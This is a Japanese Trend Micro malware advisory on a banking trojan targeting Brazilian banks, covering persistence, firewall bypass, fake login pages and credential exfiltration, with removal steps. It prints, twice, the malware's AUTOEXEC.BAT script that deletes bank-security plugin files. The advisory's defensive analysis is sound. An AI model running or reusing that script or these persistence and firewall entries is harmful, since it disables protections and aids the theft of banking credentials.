Trend Micro Security

TROJ_GENERIC.DIT

2013年7月16日
 解析者: Christopher Daniel So   

 プラットフォーム:

Windows 2000, XP, Server 2003

 危険度:
 ダメージ度:
 感染力:
 感染確認数:


  • マルウェアタイプ: トロイの木馬型
  • 破壊活動の有無: なし
  • 暗号化: なし
  • 感染報告の有無: はい

  概要


マルウェアは、他のマルウェアに作成され、コンピュータに侵入します。 マルウェアは、悪意あるWebサイトからユーザが誤ってダウンロードすることにより、コンピュータに侵入します。

マルウェアは、ユーザ名およびパスワードといったオンラインバンキングに関連した個人情報を収集します。これにより、収集された情報は不正リモートユーザにより悪用される可能性があります。 マルウェアは、特定の銀行および金融機関のWebサイトで利用されるユーザ名やパスワードなどの個人情報を収集します。

マルウェアは、銀行または金融関連機関のリストから情報を収集します。

マルウェアは、特定のWebサイトにアクセスし、情報を送受信します。


  詳細

ファイルサイズ 3,657,392 bytes
タイプ PE
メモリ常駐 はい
発見日 2009年8月31日
ペイロード 情報収集, ファイルの変更

侵入方法

マルウェアは、他のマルウェアに作成され、コンピュータに侵入します。

マルウェアは、悪意あるWebサイトからユーザが誤ってダウンロードすることにより、コンピュータに侵入します。

インストール

マルウェアは、感染したコンピュータ内に以下のように自身のコピーを作成します。

  • %Windows%\system\win.exe

(註:%Windows%フォルダはWindowsの種類とインストール時の設定などにより異なります。標準設定では、"C:\Windows" です。)

自動実行方法

マルウェアは、作成されたコンポーネントがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
Windows32 = %Windows%\system\win.exe

他のシステム変更

マルウェアは、以下の文字列で "AUTOEXEC.BAT" ファイルを上書きします。

  • @echo off
  • SET cmdprinc=del
  • SET pasta1=c:\windows\downlo~1\gb*.*
  • SET pasta2=c:\windows\downlo~1\*.g??
  • SET pasta3=c:\windows\downlo~1\g*.*
  • SET pasta4=c:\arquiv~1\GbPlugin\g*.*
  • SET pasta5=c:\arquiv~1\GbPlugin\b*.*
  • SET pasta6=c:\arquiv~1\GbPlugin\c*.*
  • SET pasta55=c:\arquiv~1\GbPlugin\u*.*
  • SET pasta7=c:\windows\downlo~1\Ab*.*
  • SET pasta8=c:\windows\downlo~1\b*.*
  • SET pasta9=c:\windows\downlo~1\Ab*.*
  • SET pasta10=c:\progra~1\GbPlugin\g*.*
  • SET pasta11=c:\progra~1\GbPlugin\b*.*
  • SET pasta12=c:\progra~1\GbPlugin\c*.*
  • SET pasta56=c:\progra~1\GbPlugin\u*.*
  • SET pasta13=C:\progra~1\Scpad\s*.*
  • SET pasta14=c:\arquiv~1\Scpad\s*.*
  • SET pasta15=C:\WINDOWS\system32\scpsssh*.*
  • %cmdprinc% %pasta1%
  • %cmdprinc% %pasta2%
  • %cmdprinc% %pasta3%
  • %cmdprinc% %pasta4%
  • %cmdprinc% %pasta5%
  • %cmdprinc% %pasta6%
  • %cmdprinc% %pasta7%
  • %cmdprinc% %pasta8%
  • %cmdprinc% %pasta9%
  • %cmdprinc% %pasta10%
  • %cmdprinc% %pasta11%
  • %cmdprinc% %pasta12%
  • %cmdprinc% %pasta13%
  • %cmdprinc% %pasta14%
  • %cmdprinc% %pasta15%
  • %cmdprinc% %pasta55%
  • %cmdprinc% %pasta56%

マルウェアは、インストールの過程で、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\SharedAccess\Parameters\
FirewallPolicy\StandardProfile\AuthorizedApplications\
List
{malware path and file name}.EXE = {malware path and file name}.EXE:*:Enabled:RPCCC

情報漏えい

マルウェアは、感染したコンピュータ上でInternet Explorer(IE)の使用状況を監視します。マルウェアは、特にIEのアドレスバーまたはタイトルバー情報を監視しますが、ユーザが銀行関連Webサイトを閲覧しそのサイトのアドレスバーまたはタイトルバーに以下の文字列が含まれていた場合、正規Webサイトを装った偽のログインページを作成します。

  • Bradesco Prime
  • caixa1
  • CITI_card
  • credicard itau - cocada v1.0
  • htm/saibaMaisCadMaq/saibaMaisCompleto.htm
  • https://internetbanking.caixa.gov.br/siwinstatic/htm/saibaMaisCadMaq/saibaMaisCompleto.htm

マルウェアは、ユーザ名およびパスワードといったオンラインバンキングに関連した個人情報を収集します。これにより、収集された情報は不正リモートユーザにより悪用される可能性があります。

マルウェアは、以下の銀行もしくは金融機関で利用される個人情報を収集します。

  • Bradesco
  • Caixa
  • Citibank
  • Itau

攻撃対象

マルウェアは、銀行または金融関連機関のリストから情報を収集します。

情報収集

収集した情報は、以下のファイルに保存されます。

  • %System%\reg_0001.txt

(註:%System%フォルダはWindowsの種類とインストール時の設定などにより異なります。標準設定では "C:\Windows\System32" です。)

マルウェアは、SMTPを用いて、自身が収集した情報を以下のEメールアドレスに送信します。

  • {BLOCKED}@msn.com

その他

マルウェアは、以下のWebサイトにアクセスし、情報を送受信します。

  • http://{BLOCKED}ka.freeweb7.com/bar.php


  対応方法

対応検索エンジン: 8.900

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

「TROJ_GENERIC.DIT」で検出したファイル名を確認し、そのファイルを終了します。

[ 詳細 ]

  • すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
  • 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
    セーフモードについては、こちらをご参照下さい。
  • 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。

手順 3

このレジストリ値を削除します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • Windows32 = "%Windows%\system\win.exe"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
    • {malware path and file name}.EXE = "{malware path and file name}.EXE:*:Enabled:RPCCC"

手順 4

AUTOEXEC.BAT を修正します。

  1. メモ帳などのテキストエディタを用いて、AUTOEXEC.BAT を開きます。
    [スタート]-[ファイル名を指定して実行]を選択し以下を入力し、[OK]をクリックします。
    ※以下の文字列は半角英数字で入力する必要があります(大文字/小文字は区別されません)。
    notepad C:autoexec.bat
  2. 以下の文字列が存在するか確認し、存在する場合は削除してください。
    @echo off
    SET cmdprinc=del
    SET pasta1=c:\windows\downlo~1\gb*.*
    SET pasta2=c:\windows\downlo~1\*.g??
    SET pasta3=c:\windows\downlo~1\g*.*
    SET pasta4=c:\arquiv~1\GbPlugin\g*.*
    SET pasta5=c:\arquiv~1\GbPlugin\b*.*
    SET pasta6=c:\arquiv~1\GbPlugin\c*.*
    SET pasta55=c:\arquiv~1\GbPlugin\u*.*
    SET pasta7=c:\windows\downlo~1\Ab*.*
    SET pasta8=c:\windows\downlo~1\b*.*
    SET pasta9=c:\windows\downlo~1\Ab*.*
    SET pasta10=c:\progra~1\GbPlugin\g*.*
    SET pasta11=c:\progra~1\GbPlugin\b*.*
    SET pasta12=c:\progra~1\GbPlugin\c*.*
    SET pasta56=c:\progra~1\GbPlugin\u*.*
    SET pasta13=C:\progra~1\Scpad\s*.*
    SET pasta14=c:\arquiv~1\Scpad\s*.*
    SET pasta15=C:\WINDOWS\system32\scpsssh*.*
    %cmdprinc% %pasta1%
    %cmdprinc% %pasta2%
    %cmdprinc% %pasta3%
    %cmdprinc% %pasta4%
    %cmdprinc% %pasta5%
    %cmdprinc% %pasta6%
    %cmdprinc% %pasta7%
    %cmdprinc% %pasta8%
    %cmdprinc% %pasta9%
    %cmdprinc% %pasta10%
    %cmdprinc% %pasta11%
    %cmdprinc% %pasta12%
    %cmdprinc% %pasta13%
    %cmdprinc% %pasta14%
    %cmdprinc% %pasta15%
    %cmdprinc% %pasta55%
    %cmdprinc% %pasta56%

  3. AUTOEXEC.BAT を上書き保存して閉じます。

手順 5

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。 %System%\reg_0001.txt

手順 6

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「TROJ_GENERIC.DIT」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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